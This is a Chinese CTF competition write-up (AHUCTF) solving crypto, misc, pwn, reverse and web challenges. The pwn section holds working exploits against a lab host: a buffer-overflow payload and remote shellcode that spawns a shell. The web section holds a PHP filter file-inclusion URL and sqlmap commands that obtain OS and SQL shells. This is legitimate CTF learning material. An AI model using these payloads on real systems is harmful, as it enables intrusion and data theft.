前言

本Write Up的Misc方向可能有点乱,因为我真的不想写了。OSINT太简单就不放了。

我的排行一直在被肘(从8k甚至7k一路被肘到6k,为什么今年是非线性扣分啊啊啊)
image-1-2024-12-21-21-18-24

最终排行
score.png

不过也是终于结束了QAQ。比较可惜的是没有ak PWN方向easy_password的gift()函数不会触发,就算知道后面应该输入-1也没用。

别真实我,我根本不会CTF,我只会乱按
另外我只学了一天re

Crypto

移位base

思路

名字叫移位base,用它给出的自定义字典就好。

解决

编码为:

1
Y2Cbj2owipIwjfIoipIcjNCbSEkcjterPNMrktCbkOCfGZIuFD1sPOIfi2Y1F2CrPNMbGJIdkDQzhEUvGDXnFurnB2ooitkvFDrnADsvFEsckZIKi21dFD55SJI0hNBnj3Ycjurni2FnkNosPNkoiDBnkNMyGETnjNeoF2BnhD4nFZItFD50FEU5POkcjterPNUoiNesGJHpCNs2FEXpSJIdiNM5GEQgPOkwiNdnjNeolZIoPN15j3YsjtsckETnF2oojtMqkNCfPNUoiNesGJHpCOQoktCzGEPpSJIwipI0hNBnGuQsGZIxi3CfitC5POYcPN1sGEXnGNstGtCfGD50POIsjuUcitMzhEYwGETnFD5rPOCbhEM1GZIoFtszhEY5PNUciEIoitsciuTzPNYsGtCokJIgkOQcitjnGD5siDssjfdnGtsbGJIzi3U0POQsiNM0hEGsjfdnFD5rPNkfFDY1FDezlZIrhEUqi3GsjpI0hNBnkOQ1kNnni2FnPrksiuUvhD4pSN1sFD51hNszGZe0hNBnGteoGfIwjfIIZMCKCLG7Y2CbUDneis81kLIfkKBomX==

字典为:

1
HUKLMNOPQRSTUVWXYZABCDEFGhijklmnopqrstuvwxyzabcdefg0123456789+/

使用密码学工具箱解码:
baseimage

最后面就是flag,又是原是吧

formula

思路

观察代码知道flag被分为a,b,且加密函数可正常执行,即满足两个断言。所以我们要根据给定的k1,k2和断言来反推a,b。

求解

显然这两个数都非常大,所以我们可以利用CAS(计算机代数系统)里的solve()来求解a,b。在Python里则可以使用sympy库。

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from sympy import *

k11=0x2161f6f68e7405974e37a1f588e77d38e07840cee8a1f713d848412fedf2d84c7f3e296f6b835916d9d52a6778bb4866780db4be7890b59a1d83f850b0a4d93c3be02eb82ac95df268cdd92c01c58b83d787f2d9994759d11eb7701
k22=0x2161f6f68e7405974e37a1f588e77d38e07840cee8a1f657403d2aa15ccc45698752ef85199190d737a03afa4a7c0beb0b8f1cd18e4253843d9cd8222e5fc5cd0fd125353c219a424b382942394d71518f1aab07b584952c3bb4ff9
a = Symbol('a')
b = Symbol('b')

expr_2 = Eq( a**2 + 4*(a**2)*b- 2*a*b , c)
expr_1 = expr_2.subs(b,sqrt(k22/(4*a**2+1-4*a)))
solutions = nonlinsolve([a**2+4*(a**2)*b+b**2+4*(a**2)*(b**2)-k11-2*a*b-4*a*(b**2),b**2+4*(a**2)*(b**2)-k22-4*a*(b**2)],[a,b])

# 不要用nsolve()求数值解,要当成非线性方程组来解
for solution in solutions:
print(solution)

随后从其中找出大的正整数解(只有一个)来还原flag:

1
2
3
4
from Crypto.Util.number import bytes_to_long,long_to_bytes
str_a=long_to_bytes(6252826144967913919503965501016256501368095897042627892)
str_b=long_to_bytes(4340229012546906394644962811881480576776665734585546109)
print(str_a+str_b)

结果为:

1
b'AHUCTF{n0rMal_m47H_15-4-Pi3C3-0f_CaK3-f0r_y0u}'

LittleEnigma

思路

第一反应是根据加密结果反推原文即可。但我懒得写,所以我决定暴力(雾)。

求解

我们试着对ahuctf{}加密几次,观察结果。

注意到加密过程中对小写字母的加密会影响到大写字母,且小写字母加密仅仅与它本身有关。也就是说,每一位小写字母加密结果是固定的,可以依次推出各位小写字母原文。

因此我们可以快速地构造一个fake_flag用于猜测真正的flag:ahuctf{y0A-know-41o7-460At-3A19ma}

此时还可以通过大胆猜测法直接猜第一个大写字母为U

现在可以开始暴力猜测了,利用以下代码直接随机猜测,运行个半分钟就行。如果死循环,那么说明正在猜测的大写字母很可能就是猜错了。

当然这是我临时的写法,事实上可以对猜测的大写字母也随机化以进行猜测,反正范围很小很小(26326^3)。

1
2
3
4
5
6
7
8
decrypted_flag = str(doCrypt("ahuctf{y0U-know-41o7-460Ut-3N19ma}"))
while decrypted_flag!="dndoix{t0S-lrvg-41b7-460Km-3J19lc}":
randomIdxa = random.randint(0,26)
randomIdxb = random.randint(0,26)
randomIdxc = random.randint(0,26)
decrypted_flag = doCrypt("ahuctf{y0U-know-41o7-460Ut-3N19ma}")
print(decrypted_flag)
print(decrypted_flag)

得到flag为

1
ahuctf{y0U-know-41o7-460Ut-3N19ma}

simple_e

思路

观察代码知道e=1,也就是没加密。直接输出就行。

解决

代码:

1
2
3
4
import libnum

c= 115344283633623007986455375171888517414315570164457740654376044854956808573
print(libnum.n2s(c))

SoManyNumbers

思路

看起来是简单的XOR+移位,把注释去掉直接写解密函数。GPT都可以秒。

解决

直接贴代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import random
from Crypto.Util.number import bytes_to_long,long_to_bytes

def doCrypt(flag):
flag = bytes_to_long(flag.encode())
table = [1]
cipher = 0
index = 0
while flag != 0:
bitValues = flag & 0x7
cipher += table[index] * bitValues
if index >= 1:
table.append(table[index] * 8 + random.randint(1,3))
else:
table.append(table[index] * 8)
index += 1
flag >>= 3

def deCrypt(cipher, table):
flag = 0 # 0_o
index = len(table) - 1
while index >= 0:
bitValues = 0
while cipher >= table[index]:
cipher -= table[index]
bitValues += 1
flag = (flag << 3) | bitValues
index -= 1

return long_to_bytes(flag)

cipher=33554728557377080109059169970765683639535945625343754777062231252209797186123828276145544
table=[1, 8, 66, 529, 4233, 33866, 270930, 2167443, 17339547, 138716379, 1109731035, 8877848281, 71022786250, 568182290002, 4545458320018, 36363666560147, 290909332481179, 2327274659849434, 18618197278795473, 148945578230363786, 1191564625842910289, 9532517006743282314, 76260136053946258513, 610081088431570068105, 4880648707452560544841, 39045189659620484358730, 312361517276963874869841, 2498892138215710998958730, 19991137105725687991669843, 159929096845805503933358745, 1279432774766444031466869962, 10235462198131552251734959699, 81883697585052418013879677593, 655069580680419344111037420747, 5240556645443354752888299365978, 41924453163546838023106394927826, 335395625308374704184851159422609, 2683165002466997633478809275380873, 21465320019735981067830474203046985, 171722560157887848542643793624375882, 1373780481263102788341150348995007057, 10990243850104822306729202791960056457, 87921950800838578453833622335680451658, 703375606406708627630668978685443613267, 5627004851253669021045351829483548906139, 45016038810029352168362814635868391249114, 360128310480234817346902517086947129992914, 2881026483841878538775220136695577039943314, 23048211870735028310201761093564616319546515, 184385694965880226481614088748516930556372123, 1475085559727041811852912709988135444450976986, 11800684477816334494823301679905083555607815890, 94405475822530675958586413439240668444862527121, 755243806580245407668691307513925347558900216969, 6041950452641963261349530460111402780471201735753, 48335603621135706090796243680891222243769613886025, 386684828969085648726369949447129777950156911088202, 3093478631752685189810959595577038223601255288705617, 24747829054021481518487676764616305788810042309644938, 197982632432171852147901414116930446310480338477159506, 1583861059457374817183211312935443570483842707817276049, 12670888475658998537465690503483548563870741662538208393, 101367107805271988299725524027868388510965933300305667147, 810936862442175906397804192222947108087727466402445337177, 6487494899537407251182433537783576864701819731219562697419, 51899959196299258009459468302268614917614557849756501579354, 415199673570394064075675746418148919340916462798052012634834, 3321597388563152512605405971345191354727331702384416101078673, 26572779108505220100843247770761530837818653619075328808629386, 212582232868041760806745982166092246702549228952602630469035090, 1700657862944334086453967857328737973620393831620821043752280721, 13605262903554672691631742858629903788963150652966568350018245771, 108842103228437381533053942869039230311705205223732546800145966171, 870736825827499052264431542952313842493641641789860374401167729369, 6965894606619992418115452343618510739949133134318882995209341834955, 55727156852959939344923618748948085919593065074551063961674734679641, 445817254823679514759388949991584687356744520596408511693397877437131, 3566538038589436118075111599932677498853956164771268093547183019497051, 28532304308715488944600892799461419990831649318170144748377464155976409, 228258434469723911556807142395691359926653194545361157987019713247811275, 1826067475757791292454457139165530879413225556362889263896157705982490202, 14608539806062330339635657113324247035305804450903114111169261647859921619, 116868318448498642717085256906593976282446435607224912889354093182879372953, 934946547587989141736682055252751810259571484857799303114832745463034983625, 7479572380703913133893456442022014482076571878862394424918661963704279869003, 59836579045631305071147651536176115856612575030899155399349295709634238952026, 478692632365050440569181212289408926852900600247193243194794365677073911616210, 3829541058920403524553449698315271414823204801977545945558354925416591292929683, 30636328471363228196427597586522171318585638415820367564466839403332730343437465, 245090627770905825571420780692177370548685107326562940515734715226661842747499722, 1960725022167246604571366245537418964389480858612503524125877721813294741979997779, 15685800177337972836570929964299351715115846868900028193007021774506357935839982233, 125486401418703782692567439714394813720926774951200225544056174196050863486719857865, 1003891211349630261540539517715158509767414199609601804352449393568406907893758862922, 8031129690797042092324316141721268078139313596876814434819595148547255263150070903377, 64249037526376336738594529133770144625114508775014515478556761188378042105200567227018, 513992300211010693908756233070161157000916070200116123828454089507024336841604537816146, 4111938401688085551270049864561289256007328561600928990627632716056194694732836302529171, 32895507213504684410160398916490314048058628492807431925021061728449557557862690420233370, 263164057708037475281283191331922512384469027942459455400168493827596460462901523361866963]

print(deCrypt(cipher, table))

运行结果为:

1
b'AHUCTF{nUM6er_jU57_5H0W-YoUr-7riuMpH}'

Misc

Aknights

思路

一眼泰拉文字(我不玩舟)

解决

按照网站即可解密,这里不补了。

注意解读文本时需先根据需要旋转回原方向再进行解读。所以要倒过来。

背负着火影之名,我不能输

思路

不是,死水还阴啊

百度一下,发现这些梗(meme)分别对应各代火影,在确定四代火影后将它们替换成四进制。
(一代目对应0,以此类推)

解决

1
1001 1020 1111 1100 3111 0101 2132 3123 2031 0103 1030 1122 3120 1130 3121 1102 3110 3103 0112 3203 1003 1303 0002 3103 0103 1111 3303 1103 0002 3110 0300 1233 1230 1331

转为十六进制ASCII码输出为

1
AHUCTF{n4M1kase-M1n470-15_50-C0ol}

碰碰运气

思路

只要表达式返回值为false就可以了。输入NaN
*NaN是一个计算机术语,代表“Not a Number”(非数字)。它是 IEEE 754 标准中定义的一个特殊浮点数值,用来表示某些未定义的或不可表示的值。

OldFashion

思路

一眼zundujiadu语,然后CyberChef之类的在线工具就能秒了

StrangeCode

思路

拿PS的透视裁剪工具调一下,再用zfb扫
flag为

1
AHUCTF{y0u_c@n_m@n1pulate_p1cture_very_we11}

What Is This

思路

先恢复png图片再说

解决

先010一下,发现文件没有png头。

试了一下原来是XOR一下

1
76 xor FF = 89

这步很好想,只要XOR 89就知道该怎么做了。

对整张图XOR FF后用密码学工具箱打开,用图片模块的fix png功能修复宽高可以看到上半flag。

再用stegSolve看看,发现最后写了一串base64,也就是下半flag。拼接一下即可。

不许说藏话

思路

一眼脑*然后一眼控制台

解决

image-2024-12-31-14-09-54
然后F12进控制台
image-1-2024-12-31-14-10-10

Pwn

test_nc

测试你netcat装没装的。

1
mon flag

pwntools

这个太简单就不说了,直接读完再输就行。

ret2text

思路

顾名思义,为基本ROP的一种,参考ctf-wiki即可。

解决

nc连上,程序已经给出了后门地址与当前寄存器地址,我们只需覆盖到ret即可。简单计算一下就好。

设置target=0x4012c4,故payload为b'A'*40+p64(target)

代码如下:

1
2
3
4
5
6
7
from pwn import *

io = remote('172.17.38.134',9214)

target = 0x4012c4
io.sendline(b'A'*40+p64(target))
io.interactive()

运行后得到flag。

shellcode

思路

题目名为shellcode,所以我们要构造一个shellcode来get shell。

解决

首先下载附件用IDA打开,观察汇编代码
image-2024-12-31-14-15-47
注意到其中有一个_strlen函数,结合题面联想到需要绕过strlen()。查询资料,我们知道strlen()存在漏洞:判断字符串(字符数组)的长度时可以被\0截断,故我们构造的payload中可能会有一个\x00

F5继续观察伪c代码,如下,其中有一个execute_shellcode()函数,很可能是关键部分。我们继续双击观察。
image-1-2024-12-31-14-16-54

以下为IDA给出的对execute_shellcode()函数的反汇编结果:

1
2
3
4
5
__int64 __fastcall execute_shellcode(__int64 (*a1)(void))
{
puts("What the hell did you do? How do we fight shellcode without byte limits?");
return a1();
}

观察发现该函数传入了一个指针a1,并且在最后调用了a1指向的函数。无视puts(),shellcode很可能就是在此处执行。

故我们要构造的payload应为:

\x00 + shellcode

如何存取并执行shellcode呢?观察上面的伪c代码可以知道,程序只有一次读入,且读入方式为一次读入0x12C大小的无符号长整型数据到buf。显然这里存在缓冲区溢出漏洞:buf为字符型变量,只能存取一个字节的数据。

接着编写exp:

1
2
3
4
5
6
7
8
9
10
from pwn import *

context(os='linux',arch='amd64') # 指定平台为 Linux amd64

io=remote("172.17.38.134",9139)

exp=b'\x00'+asm(shellcraft.sh()) # 直接shellcraft.sh() 我猜不会有sandbox
io.recvline()
io.sendline(exp)
io.interactive()

尝试后失败,重新阅读代码寻找错误原因:执行的是a1指向的函数,即v5。由*(_QWORD *)&v5[111] = v5;猜测,是不是payload长度不足导致没有覆盖到v5[111]所在的地址?

直接再加上一次asm(shellcraft.sh())看看,发现可以get shell了。的确是这个问题——需要先覆盖v5[111]的数据,才能保证指向的函数(指向的shellcode)正确执行。

get shell后执行cat flag即可输出flag。

注意

一次asm(shellcraft.sh())的长度不足以覆盖v5[111],可以多加一次。

Reverse

你知道原神的连招顺序吗

思路

逆向先拖IDA,并且运行一下程序看看。
image-2024-12-21-21-24-42

运行后玩了几局,猜测是要输入一系列正确的数字才能获得flag。玩得有点多,已知第1次输入必须是1,而第2-10次为3 3 3 4 1 4 1 2 1 3

至此,暴力破解(玩原)恐怕是很难解决这题了。回到IDA看看吧。

解决

首先随意地双击函数,看看程序流程。
ysimage-1

ysimage-2

ysimage-3

对我这样逆向只学了一天的人来说还是太难了,换换思路看看,有可能找到输入数字是哪些吗?

Shift+F12查看Strings,发现了一个很奇怪的Str:
ysimage-4

那么这个Str是干什么用的呢,双击定位
ysimage-5

右键点击List cross references to
ysimage-6

打开看看哪里出现了这个Str
ysimage-7

注意到cs:rand,那么我们可以猜测,输入的数很可能是随机生成的,我们无法直接找到。
ysimage-8

既然有rand(),输入顺序又是固定的,那么理论上必存在一个srand(seed)函数的使用,利用固定的种子值来生成固定的随机数列。

双击rand(),结果发现下面就是srand(),那么接下来就很简单了,找出seed即可。
ysimage-9

同样右键找出调用它的位置,往上翻看到了眼熟的Str:
ysimage-10

那么这里一定是核心代码了,直接F5看看伪C代码:
ysimage-11

非常好,我们已经得到了seed的生成方式。现在只要编写一个同样的随机数生成器并记录前111次生成结果就好。c语言代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int main()
{
freopen("input.txt","w+",stdout);
char Str[]="AHUCTF_AHUCTF\0";
int seed=0;
for(int j=0;;++j)
{
if(j>=strlen(Str))
break;
seed += Str[j];
}
srand(seed);
for(int i=0;i<111;++i)
{
int num = rand()%4+1;
printf("%d\n",num);
}
return 0;
}

使用gcc编译:

1
gcc getFlag.c -o getFlag.exe

运行getFlag.exe,这将把我们需要的随机数存进input.txt中。别忘了在前面还要加上一行"1"。可以用c语言也可以文本编辑器手加。

接下来就可以解题了,在该目录下打开cmd输入:

1
.\genshin.exe < input.txt > flag.txt

回车运行,打开flag.txt,最后一行就是flag:

1
AHUCTF{U_4r3_th3_m4st3r_of_G3nsh1n_1mp4ct}

注意

不要在Linux环境下编译运行,我在这被控了一天才想起来应该在Windows环境下编译,各平台的随机数生成算法不同。

Just a string

rt,直接Shift+F12

Just XOR

思路

异或回来就行

解决

image-2024-12-31-14-24-36
接着看看异或的函数是怎么写的

image-1-2024-12-31-14-24-48
再看看data

1
{0xA, 0xF, 0x14, 0x3, 0x04, 0x05, 0x06, 0x1C, 0x4A, 0x3B, 0x15, 0x1F, 0x67, 0x51,0x03, 0x57, 0x2F, 0x06, 0x29, 0x71, 0x5E, 0x38, 0x39, 0x1B, 0x36, 0x46, 0x5D, 0x56}

写一个cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <bits/stdc++.h>
using namespace std;
int main()
{
int code[28] = {0xA, 0xF, 0x14, 0x3, 0x04, 0x05, 0x06, 0x1C, 0x4A, 0x3B, 0x15, 0x1F, 0x67, 0x51,0x03, 0x57, 0x2F, 0x06, 0x29, 0x71, 0x5E, 0x38, 0x39, 0x1B, 0x36, 0x46, 0x5D, 0x56};
string data = "KFCCTF{Cr@2y_7hur$d4y_v!vo50}";
char s2[28];
for (int i = 0; i < 28; ++i)
s2[i] = data[i] ^ code[i] ^ i;
for (int i = 0; i < 28; i++)
cout << s2[i];
return 0;
}

编译运行输出:

1
AHUCTF{X0r-m4ke-M3_V3rY-X0r}

Web

Web我根本没学。。随便写的

baby_include

思路

利用include漏洞即可

解决

直接加?file=flag.php会输出fake_flag,那看看它的源码是什么。

php伪协议,利用php://协议和filter读取源代码的base64编码:

1
http://172.17.38.134:9148/?file=php://filter/read=convert.base64-encode/resource=flag.php

输出结果为:

1
PD9waHANCmVjaG8gIkFIVUNURntmYWtlX2ZsYWd9IjsNCiRmbGFnPSJBSFVDVEZ7NzkzZmYyM2QtNTRhNy00OWJjLTk3YTctZTE5NmQ1OGRiMjEzfSI7DQo/Pg==

base64解码得:

1
2
3
4
<?php
echo "AHUCTF{fake_flag}";
$flag="AHUCTF{724851a7-48a5-4ed2-b215-1dcd748c5935}";
?>

ez math

思路

查看HTML源代码知道达到666 points就能获得flag,而submit的方式是post,使用Python自带的requests库即可实现自动化答题。
小猿口算这么好玩吗

解决

直接上代码,表达式在利用re库处理后使用eval()计算得到答案,并利用post方式提交。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import re

def submit_answer(url, answer):
payload = {"answer": answer}
headers = {"Content-Type": "application/json"}
response = requests.request(
"post", url, headers=headers, data=payload, json=payload
)
if response.status_code == 200:
return response.json()
else:
print("Error!")
return None

def calculate_expression(expression):
try:
result = eval(expression)
return result
except:
return None

def extract_expression(question):
question = question.replace("÷", "/").replace("=", "") # 记得替换"÷"为"/"
match = re.sub(r"[^0-9+\-*/()]", "", question)
return match

generate_url = "http://172.17.38.134:9190/quiz.php?action=generate"
submit_url = "http://172.17.38.134:9190/quiz.php?action=submit"
cookie = {"PHPSESSID": "dcee287fa7084ed6c4208b6d94713063"} # 注意cookies
flags = []

for _ in range(667):
response = requests.request("get", generate_url,cookies=cookie)
question = response.json()["question"]
if question:
expression = extract_expression(question)
result = calculate_expression(expression)
print(result)
if result is not None:
payload = {"answer": result}
headers = {"Content-Type": "application/json","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0"}
response = requests.request(
"post",
submit_url,
headers=headers,
json=payload,
cookies=cookie
)
if response:
try:
print(response.json())
except:
None
else:
print("Failed to submit the answer!")
if response and "flag" in response:
print(f"Flag: {response['flag']}")
flags.append(response["flag"])
else:
print("Failed to calculate the expression!")
else:
print("No question!")
print("flag:", flags)

注意

  • 要加Cookies,否则不会正常触发generate

Frontend Bypass

思路

简单的前端绕过,直接看解决部分

解决

第一关:如图

image-2024-12-31-14-31-16

第二关:

image-1-2024-12-31-14-31-34

在此添加属性value就好

第三关:

在设置中禁用js

image-2-2024-12-31-14-31-47

第四关:

删掉disable,记得恢复js

image-3-2024-12-31-14-31-59

第五关:

password字段改成text

image-4-2024-12-31-14-32-13

然后拼接每一段flag即可。

高数题库

思路

sql注入,但是我不会Web。那就sqlmap

解决

这题我拿手机写的。由于未知原因环境连不上,故在此只给出大致过程。

首先打开Termux,安装python和git:

1
2
pkg install python
pkg install git

获取sqlmap(如果timeout就多试几次):

1
2
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

直接利用sqlmap开爆(端口号记得改):

1
python sqlmap.py -u http://172.17.38.134:9155 --wizard

也不要问我为什么用向导模式

一开始我选择的是模式1,即--level 1 --risk 1。这样并不能扫出漏洞,提高level和risk试试,最后在--level 3 --risk 2时成功生成了两个payload。

直接继续使用sqlmap:

1
python sqlmap.py -u http://172.17.38.134:9155 --level 3 --risk 2 --dbms MySQL --wizard --os-shell

发现可以get os-shell,但是ls了一下以后发现没用,目录下无flag,应该是存在了表里。

换个思路试试先get sql-shell再找出flag:

1
2
3
4
python sqlmap.py -u http://172.17.38.134:9155 --level 3 --risk 2 --dbms MySQL --wizard --dbs
python sqlmap.py -u http://172.17.38.134:9155 --level 3 --risk 2 --dbms MySQL --wizard --tables
python sqlmap.py -u http://172.17.38.134:9155 --level 3 --risk 2 --dbms MySQL --wizard --columns
python sqlmap.py -u http://172.17.38.134:9155 --level 3 --risk 2 --dbms MySQL --wizard --sql-shell

sql-shell正常到手,接下来就能对数据库进行任意操作了。获取flag:

1
select f14g from math.ctf

原神启动器

思路

Hint提供了SSTI一把梭工具,直接使用就好。

解决

20241231143430-2024-12-31-14-34-30